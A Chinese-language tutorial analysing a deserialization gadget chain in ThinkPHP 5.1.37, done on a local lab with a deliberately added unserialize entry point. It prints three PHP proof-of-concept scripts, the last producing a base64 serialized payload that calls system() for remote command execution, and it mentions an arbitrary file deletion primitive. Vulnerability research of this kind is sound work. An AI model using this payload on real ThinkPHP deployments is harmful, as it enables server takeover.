前言

这几天一直在搞一个thinkphp框架的一个反序列化漏洞,tp框架的链子很长,用到的函数也很多,思维也比较跳跃,在此用比较通俗易懂的语言分析反序列化链子的构造以及复现。以便自己日后复习,也希望能帮助到小师傅们。(大佬轻点喷)

环境搭建

这个tp5.1.37的源码可以在github上下载,也可以用composer来下载,个人推荐第二种,很方便,在github上需要下载两部分,网址分别为:

https://github.com/top-think/framework/releases/tag/v5.1.37

https://github.com/top-think/think/releases/tag/v5.1.37

这两部分下载完成后放到本机上的www目录(用过小皮都懂)把第一个下载的文件夹改名为thinkphp并且放在第二个下载的文件夹里就ok了。本地访问成功。

原本下载的源码是没有反序列化入口的, 我们需要自己来写一个入口。那肯定是要在控制器里去改,你也可以自己写个控制器,我就在\application\index\controller里的index.php里添加代码:

public function unser(){
$tmp = $_POST['test'];
echo $tmp;
unserialize(base64_decode($tmp));
}

然后我们访问/public/index.php/index/index/unser,然后post传参,看它能不能正确回显。

很显然是可以的,那么环境搭建就到此结束。

反序列化链分析

通常我们找链子怎么起步呢?一般都是找__destruct()销毁方法或者是wakeup这种反序列化会自动调用的,我们一般是首选。那么我们就先搜索__destruct方法,这里我们进入windows类里面的销毁方法,

发现它调用了removeFiles()方法,继续跟进。

这里就是将files数组遍历,然后判断文件是否存在,files是windows类的一个属性,我们是可控的,这里文件如果存在,就会删除,那么这里就有一个任意文件删除的漏洞,当然,这不是我们的目的,file_exists函数会把传进来的参数当作字符串,那么如果我们传一个类进去,会不会就触发了这个类的toString()方法,这很好理解,那么接下来 我们就需要找什么类调用了toString()方法。这里我们利用Conversion类里的toString()方法。

避雷

这里我们可不能直接去实例化Conversion类,为什么呢?因为Conversion类是由trait这个关键字定义的,那么这个关键字是啥意思。

PHP 实现了一种代码复用的方法,称为 trait。

Trait 是为类似 PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用 method。Trait 和 Class 组合的语义定义了一种减少复杂性的方式,避免传统多继承和 Mixin 类相关典型问题。

Trait 和 Class 相似,但仅仅旨在用细粒度和一致的方式来组合功能。 无法通过 trait 自身来实例化。它为传统继承增加了水平特性的组合;也就是说,应用的几个 Class 之间不需要继承。

所以说,Conversion类是不能直接实例化的,那么就要找引用它的子类了。这里有Model类继承了Conversion类,

这里是引用了Conversion类的,但是Model类是由adstract关键字修饰的,所以也不能直接实例化,接下来就要找继承了Model类的子类了,

这里找到一个Pivot类,那么往回看,我们让files去实例化这个类,是不是就可以调用toString方法了,当然Pivot类本身是没有tostring方法,但是它会向父类去寻找,最终调用了Conversion类中的tostring方法。一个简单的逻辑图。

调用完tostring()魔术方法,第一阶段算是完成。开始编写这一块的poc。

<?php
namespace think;

abstract class Model{

}

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
use think\model;
class Pivot extends Model{

}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我们打一下payload,看看是否调用了tostring()函数。

这里成功调用了tostring()方法了。

那么接下来就主看Conversion类,这里tostring里调用了tojson()函数。

跟进tojson函数, 发现里面是调用了toArray函数

那么继续跟进toArray函数。这个函数的代码很长,我只放关键部分。

append是我们的私有属性数组,它可控,那么name也可控,那么我们跟进getRelation函数,在Relationship类中有具体的实现方法,

这里的name参数就是key,可控,这里的relation为空,那么这个函数返回为空,继续看toArray函数,往下走,if判断,因为getRelation函数返回为空,然后进行!处理变为true进入到了我们的if语句里。再跟进getAttr函数。

这个函数的name参数就是append的键名,也是可控的,继续跟进getData函数,

这里的name我们说了是append的键名,如果这个键名在data数组里存在,就会返回data数组name键名下的值,(别晕!)那么我们可以任意构造值,最后返回给relation变量,那么这个relation对于我们来说就可控了。继续看toArray的代码,它最后会调用不知名函数。

在这里,如果我们构造的relation是一个不存在visible方法的类对象,那么是不是就可以调用这个类中的__call方法。那么我们就找哪些类利用了call方法。这里使用request类中的call方法。想要成功调用,必须得满足data数组里存在append的键名。

目前还有一个问题,怎么进行变量覆盖,这里append属性和data属性我们都在Model类中进行修改,为什么可以这样?

Conversion类和Attribute类Model类中都引用到了,那么他们对应的append属性和data属性是不是都可以通过这个类进行覆盖了。那么在上一个poc上继续编写

<?php
namespace think;

abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ["li"=>[]];
$this->data = ["li"=>new Request()];
}
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
use think\model;
class Pivot extends Model{

}

namespace think;
class Request{

}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

我们继续本地测试,看我们编写的poc能不能调用我们的call方法。

测试是可以的。第二阶段完成。那么来到了最后一个阶段。

继续跟进call方法

这里有一个call_user_func_array函数我们可以任意函数调用,在这里我要说一下call方法的两个参数,method参数就是visible,而args就是这个函数的参数。(没印象的回看代码)这里判断method参数在hook数组里是否存在,那么我们就应该满足这个条件,让hook的键名赋值为visible。因为array_unshift函数会把本类对象插进数组前面,那么我们调用system函数就会对象转字符串发生报错。同理,这里我们要调用经典利用点input函数,但是这个函数我们也不能直接调,那么继续找调用了input函数的函数,找到了param函数,我们依然不能直接调,继续往上找,就找到了isAjax函数,这里不会强制转换报错。那么就跟进isAjax函数。

这里调用了param函数,继续跟进

中间的两个if,在正常情况下不会进入,我们也不需要让它进入。这里就调用了input函数。这里的param属性和filter属性我们都可控。继续跟进input函数。

这中间又是两个if,只要满足name属性为空就可以绕过这两个if分支。这里的data我们不可控,但是默认为空数组。然后就调用了array_walk_recursive函数,这个函数会调用filterValue函数,那么就继续跟进吧。

走到这里就调用了最终利用点call_user_func函数。这个filter我们可控,可以构造任意函数,这个value源于input的data数组,而data属性就源于param函数的$this->param属性。(不清楚的多看看这三个函数之间的调用)那么这里的filter和value属性我们都可控,我们就可以远程命令执行了。那么就开始编写最终版poc了。

<?php
namespace think;

abstract class Model{
protected $append = [];
private $data = [];
public function __construct()
{
$this->append = ["li"=>[]];
$this->data = ["li"=>new Request()];
}
}

namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}

namespace think\model;
use think\model;
class Pivot extends Model{

}

namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
protected $param = [];
public function __construct()
{
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->filter = 'system';
$this->config = ["var_ajax"=>''];//对这个键名附上值
$this->param = ['dir'];
}
}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

本地测试,打出最终payload。

成功执行rce,整条反序列化链到此结束。

结语

不知不觉写了两三个小时了,不说了,睡觉去,身体最重要。